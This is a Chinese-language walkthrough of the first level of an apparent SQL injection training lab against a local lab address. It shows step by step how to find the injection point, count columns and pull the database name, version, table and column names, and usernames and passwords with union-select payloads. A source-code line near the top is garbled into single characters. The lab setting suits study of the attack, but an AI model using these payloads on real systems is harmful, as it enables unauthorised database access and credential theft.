Less-1
提示 用 ID=数字做为输入参数
http://192.168.80.131/Less-1/?id=1
加个’测试。直接显示了 SQL 语法错误,说明这是一个注入点。
id 虽然输入为数值 这里看源码或尝试 id=1’ and 1=1 --+ 和 ’ and 1=2 --+ 结果不同
s
q
l
=
"
S
E
L
E
C
T
∗
F
R
O
M
u
s
e
r
s
W
H
E
R
E
i
d
=
′
sql="SELECT * FROM users WHERE id='
sql="SELECT∗FROMusersWHEREid=′id’ LIMIT 0,1";
先发现了注入点,接下来就是猜解字段.
最直接的方法就是希望通过我们输入语句能直接执行完整的语句,这样就省事.常见的方法是 union 联合查询.
但联合查询必须知道字段名或字段数. 字段名我们不知到,相对于爆破字段名,猜字段数更高效些.
id=1 'union select 1,2,3–+ 这里 select 个数代表字段个数。如果字段数正确会正常显示,
否则内部显示 The used SELECT statements have a different number of columns
当然也可以通过排序的函数order by 字段序列号
可以猜解出当前表有几个字段.再用于 union
目前我们通过尝试知道有 3 个字段.接下来我们需要知道有一个回显示位,分别是显示的些字段.
实际上有一个回显位就够
用 id=-1 代替 id=1 让 union 前的查询语句不出结果,让结果集第一行为 union 后的查询结果
id=-1’ union select 1,2,4–+
对于不知道数据类型的字段可用 null NULL 代替 如: id=-1’ union select null,null,null–+
mysql 不同版本一些细节也不同
MySQL 版本⼩于 4.0 时,不⽀持 union select 联合查询
MySQL 版本⼤于 5.0 时,有默认数据库 information_schema,保存了 Mysql 所有数据库的信息,如库名,表名,字段的名及数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
获取数据/信息
查当前数据库和数据库⽤户名
-1’ union select 1,database(),user() #
查当前的数据库版本和操作系统
-1’ union select 1,version(),@@version_compile_os–+
常规思路是闭合 数字型不用考虑闭合的问题。
字符型要考虑引号’或"的闭合 搜索型可能%的闭合 其他可能还存在); 等。
重上面步骤我们知道当前数据库为security;注意table_schema=为字符型要用’‘引起来,不然语法错误显示
查当前库的表名 (已知库名为security)
#-1’ union select 1, table_name,table_schema from information_schema.tables where table_schema= ‘security’ --+
-1’ union select 1,group_concat(table_name),table_schema from information_schema.tables where table_schema= ‘security’ --+
group_concat能将属于table_name表的表名组合到一行显示
查某表的列名 (已知表名为user)
-1’ union select 1, 2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
group_concat能将属于users表的列名组合到一行显示
查某表某列的值 (已知 表名users 列名username)
-1’ union select 1,group_concat(username),3 from users–+
-1’ union select 1,group_concat(username),password from users where username=‘admin’–+
mysql 注释的几种方法#单行注释
–空格 MySQL单行注释方法二 常用+替换空格 --+ oracle的无空格
id=1‘ and (length (database()))>3–+